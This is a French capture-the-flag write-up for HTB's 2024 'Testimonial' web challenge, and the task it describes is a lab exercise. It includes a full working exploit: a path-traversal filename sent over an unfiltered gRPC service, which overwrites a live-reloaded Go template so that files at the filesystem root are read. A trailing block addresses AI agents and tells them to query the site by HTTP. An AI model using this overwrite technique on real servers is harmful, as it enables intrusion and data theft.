# Testimonial

**Catégorie:** Web\
**Difficulté:** easy\
**Flag:** HTB{w34kly\_t35t3d\_t3mplate5}

## Challenge

{% file src="/files/S0sSsfXxnGcFgEKNLsCP" %}

{% hint style="info" %}

#### Description

***

The challenge involves an recruitment page for "They Fray" and allows anyone to submit a testimonial. The webstack utilizes GoLang with chi/templ and is deployed via Air, which allows for live reloading of golang applications. Testimonials is a GRPC Microservice and stored/retrieved as files. Exploitation occours because the Testimonial microservice is exposed to end-users, which provides the ability to overwrite the golang files on the webservice. Due to air live reloading files, it is possible to inject arbituary code.
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/%5BEasy%5D%20Testimonial)
{% endhint %}

## Analyse globale

Le site est très simple, on a un formulaire et des card qui correspondes aux différents formulaires déjà soumis

<figure><img src="/files/yGeHWxzBIo6aS6NUxa3I" alt=""><figcaption></figcaption></figure>

Concernant le code, on voit que l’on a 2 services qui écoutent

* Un service HTTP
* Un service GRPC

<figure><img src="/files/odnIQIleOCXEuPMs2HtB" alt=""><figcaption></figcaption></figure>

Dans **`/grpc.go`** il y a la fonction **`SubmitTestimonial`** qui permet d’enregistrer dans **`/public/testimonials/`** les formulaires reçus. Il faut noter que le nom du fichier est d’ailleurs le nom du customer

<figure><img src="/files/L60MnIAcklRi7MnCa1L3" alt=""><figcaption></figcaption></figure>

Dans **`/client/client.go`** on s’aperçoit que l’on a une restriction lorsque l’on soumet un formulaire, le nom du customer ne peut pas contenir n’importe quel caractère

<figure><img src="/files/mfZmbBWQSezRO2APbY8d" alt=""><figcaption></figcaption></figure>

Seulement comme nous avons vu juste avant, le service GRPC ne contient pas ces restrictions lui-même, ce qu’il fait que **si l’on passe directement par lui et non par le service web, on peut choisir n’importe quel nom de fichier et écraser des fichiers existants**

***

## Exploitation

On commence par se connecter au service GRPC avec **`grpcurl`**

```
$ grpcurl --plaintext 94.237.53.3:31132 list
Failed to list services: server does not support the reflection API
```

Comme le service ne supporte pas la réflexion, la documentation nous dit que l’on peut fournir directement le fichier proto

<figure><img src="/files/Vots86r1rqpXClQEtQdf" alt=""><figcaption></figcaption></figure>

```
$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 list 
RickyService

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 describe RickyService
RickyService is a service:
service RickyService {
  rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
```

On peut maintenant appeler la fonction **`SubmitTestimonial`** avec notre payload

Pour ça, on va le faire en Go en reprenant le dossier **`/ptb/`** pour se connecter au serveur GPRC.

Concernant le payload, il faut simplement copier-coller **`/view/home/index.templ`** et remplacer **`fsys := os.DirFS("public/testimonials")`** par `**fsys := os.DirFS("/")**` ce qui permettra de lire tous les fichiers à la racine

Et enfin pour le nom ce sera **`../../view/home/index.templ`** pour remonter jusqu’au dossier du challenge puis redescendre jusqu’à **`index.templ`** pour l’écraser

{% code title="payload.templ" %}

```go
package home

import (
	"htbchal/view/layout"
	"io/fs"	
	"fmt"
	"os"
)

templ Index() {
	@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
  <div class="container-fluid">
    <a class="navbar-brand" href="/">The Fray</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
        <ul class="navbar-nav ml-auto">
            <li class="nav-item active">
                <a class="nav-link" href="/">Home</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Factions</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Trials</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Contact</a>
            </li>
        </ul>
    </div>
  </div>
</nav>

<div class="container">
  <section class="jumbotron text-center">
      <div class="container mt-5">
          <h1 class="display-4">Welcome to The Fray</h1>
          <p class="lead">Assemble your faction and prove you're the last one standing!</p>
          <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
      </div>
  </section>

  <section class="container mt-5">
      <h2 class="text-center mb-4">What Others Say</h2>
      <div class="row">
          @Testimonials()
      </div>
  </section>

  <div class="row mt-5 mb-5">
    <div class="col-md">
      <h2 class="text-center mb-4">Submit Your Testimonial</h2>
      <form method="get" action="/">
        <div class="form-group">
          <label class="mt-2" for="testimonialText">Your Testimonial</label>
          <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
        </div>
        <div class="form-group">
          <label class="mt-2" for="testifierName">Your Name</label>
          <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
        </div>
        <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
      </form>
    </div>
  </div>
</div>

<footer class="bg-black text-white text-center py-3">
    <p>&copy; 2024 The Fray. All Rights Reserved.</p>
</footer>
	}
}

func GetTestimonials() []string {
	fsys := os.DirFS("/")	
	files, err := fs.ReadDir(fsys, ".")		
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))		
	}
	return res
}

templ Testimonials() {
  for _, item := range GetTestimonials() {
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-body">
                <p class="card-text">"{item}"</p>
                <p class="text-muted">- Anonymous Testifier</p>
            </div>
        </div>
    </div>
  }
}
```

{% endcode %}

{% code title="solve.go" %}

```go
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"htbchal/pb"
)

func main() {
    // Lecture du contenu du fichier "payload.templ"
    content, err := ioutil.ReadFile("payload.templ")
    if err != nil {
        log.Fatalf("Erreur lors de la lecture du fichier: %v", err)
    }

    // Adresse du serveur gRPC
    serverAddress := "94.237.57.59:49450" // Remplacez par l'adresse de votre serveur gRPC

    // Connexion au serveur gRPC
    conn, err := grpc.Dial(serverAddress, grpc.WithInsecure())
    if err != nil {
        log.Fatalf("Impossible de se connecter au serveur: %v", err)
    }
    defer conn.Close()

    // Création d'un client gRPC
    client := pb.NewRickyServiceClient(conn)

    // Envoi du contenu du fichier via gRPC
    response, err := client.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{Customer: "../../view/home/index.templ", Testimonial: string(content)})
    if err != nil {
        log.Fatalf("Erreur lors de l'envoi du témoignage via gRPC: %v", err)
    }

    // Affichage de la réponse du serveur
    fmt.Println("Réponse du serveur gRPC:", response.Message)
}

```

{% endcode %}

Ce qui nous donne maintenant sur la page principale

<figure><img src="/files/jbClFKZhwvl1xpwPCKxS" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.thaysan.com/ctf-and-writeups/2024-or-htb-cyber-apocalypse-challenges/web/testimonial.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
